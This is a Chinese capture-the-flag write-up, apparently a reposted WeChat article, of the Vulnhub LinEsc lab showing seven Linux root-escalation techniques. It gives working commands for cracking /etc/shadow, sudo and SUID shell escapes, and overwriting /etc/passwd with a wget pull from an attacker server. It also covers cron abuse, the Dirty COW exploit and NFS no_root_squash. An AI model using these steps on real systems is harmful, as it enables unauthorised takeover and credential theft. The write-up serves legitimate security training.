前言
本靶场是一台旨在演示Linux特权升级的7种最常见方式的机器
目标:通过7种不同的方式获取root权限
默认凭证:(muhammad:nasef)
NO.1 权限配置错误
一些文件只能由root用户去读取,有时权限配置不正确,导致任何人都可以读取该文件。比如/etc/shadow,该文件存储了密码,正常只能由root用户读取写入。
使用本台机器检查/etc/shadow文件权限
ls -al /etc/shadow
-rw-rw-r-- 1 root shadow 760 2020-12-03 01:57 /etc/shadow
通过文件权限可知,文件所有者有读和写权限,群组也有读和写的权限,其他人有读权限。说明,该文件都可以进行读取,那么就导致所有人都可以读取密码,进行密码破解。
cat /etc/shadow
john --wordlist=/usr/share/wordlists/rockyou.txt /root/桌面/pass.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chicken (root)
1g 0:00:00:00 DONE (2023-01-02 19:52) 100.0g/s 38400p/s 38400c/s 38400C/s 123456..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
NO.2 sudo提权
sudo是linux的一项功能,它允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。因此,我们可以滥用此功能来进行特权升级。
sudo -l
发现三个可以无密码以root权限执行的文件
sudo
通过查看该目录/home/muhammad/vuln/2/,发现有个sudo的c源码,查看一下
通过c代码可知,执行该文件可以启动一个shell,并且我们可以以root权限去执行
apt-get
sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
NO.3 suid提权
suid是一种特殊权限,允许任何用户以文件所有者身份去执行文件。
寻找suid权限的可执行文件
find / -perm -4000 2> /dev/null
发现/home/muhammad/vuln/1/suid文件存在suid权限
同样跟上面的sudo一样,那么就直接执行。
id查看权限,但不是root,但是whoami是root,说明该shell具有root权限,因为/etc/passwd有读写权限,所以我们可以添加新的用户并且覆盖上去。
首先使用openssl先生成一个密码
openssl passwd -1 -salt anhunsec 1234567
获得密码:$1$anhunsec$rbeAwrURHHNg2XHd9kMFD0
然后把/etc/passwd文件拷贝一份到本地,然后把密码添加上去
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
muhammad:x:1000:1000:muhammad nasef,,,:/home/muhammad:/bin/bash
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:114:MySQL Server,,,:/var/lib/mysql:/bin/false
anhunsec:$1$anhunsec$rbeAwrURHHNg2XHd9kMFD0:0:0:root:/root:/bin/bash
itworks
然后上传到vps,使用python3 -m http.server 2000 建立http服务,在目标主机使用wget下载后,进行覆盖
wget x.x.x.x:2000/pass -O /etc/passwd
cat /etc/passwd
但是出现了一个问题,切换用户的时候显示没有这个文件
cat显示已经写入进去了,过了一会儿又自动删除了,就很诡异。
经过询问同事,原来是文件的编码格式问题,windows txt那些打开过,换行符会变CRLF格式,就是rn,所以使用vim时,:set ff=unix 设置一下换行符。
因为cp也是有suid权限的,我们也可以用cp进行覆盖。
然后切换一下用户就成功了。
NO.4 计划任务提权
crontab是计划的命令和脚本,它们以特定用户的身份在一定时间间隔内自动运行。如果某个脚本以一定的时间间隔以root身份执行,则我们可以修改此脚本。
我们查看一下计划任务
cat /etc/crontab
root /home/muhammad/vuln/4/script.sh
看下脚本内容
cp /home/muhammad/vuln/4/passwd /etc/passwd
意思是复制passwd文件定时覆盖掉/etc/passwd
那我们就可以修改passwd,跟上面的suid提权差不多了。这里就不详细写了,直接vim,把用户密码添加上去即可
NO.5 密码泄露
在某些情况下,可以明显地看到由于不良做法而导致的root密码
history
比如我们可以输入history可以查看历史执行的命令
发现有个sudo提权到root的命令,但是明显命令是输入错的,意图是su切换到root,然后才是输入密码。这就导致可以猜测密码是chicken。
ssh密钥
在本靶场中,在目录/home/muhammad/vuln/3/里面有保存一个key密钥
这个密钥可以尝试作为ssh的登陆密钥
ssh [email protected] -i key
NO.6 内核漏洞提权
我们可以通过linux的内核漏洞进行提权,首先我们可以使用uname -r查看内核版本
然后我们可以使用kali中的exploitdb搜索合适的漏洞利用脚本。
searchsploit linux 2.6.24
这里使用著名的脏牛提权(Dirty COW),脚本是linux/local/40839.c,
searchsploit linux/local/40839.c -m
本条命令就是提取该脚本到当前根目录
然后上传该脚本,通过脚本内容可知编译方法为:
gcc -pthread 40839.c -o anhunsec -lcrypt
然后./anhunsec运行,输入新密码
运行成功后切换用户firefart。密码是自己设置的密码
然后id可以看到是root权限了。
NO.7 NFS特权提升
当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。
cat /etc/exports
我们可以发现/home/muhammad是存在共享的,也启用了no_root_squash
那么我们就直接挂载目录
mount -t nfs 192.168.1.8:/home/muhammad /mnt
对于共享目录来说,挂载的客户端也有root权限。
那么我们就是可以用上述的几种提权方式提权就行。比如计划任务提权中,在passwd添加新用户。
并且script.sh加个权限,然后返回靶机去执行它
chmod +sx script.sh
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Vulnhub靶场之LinESC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论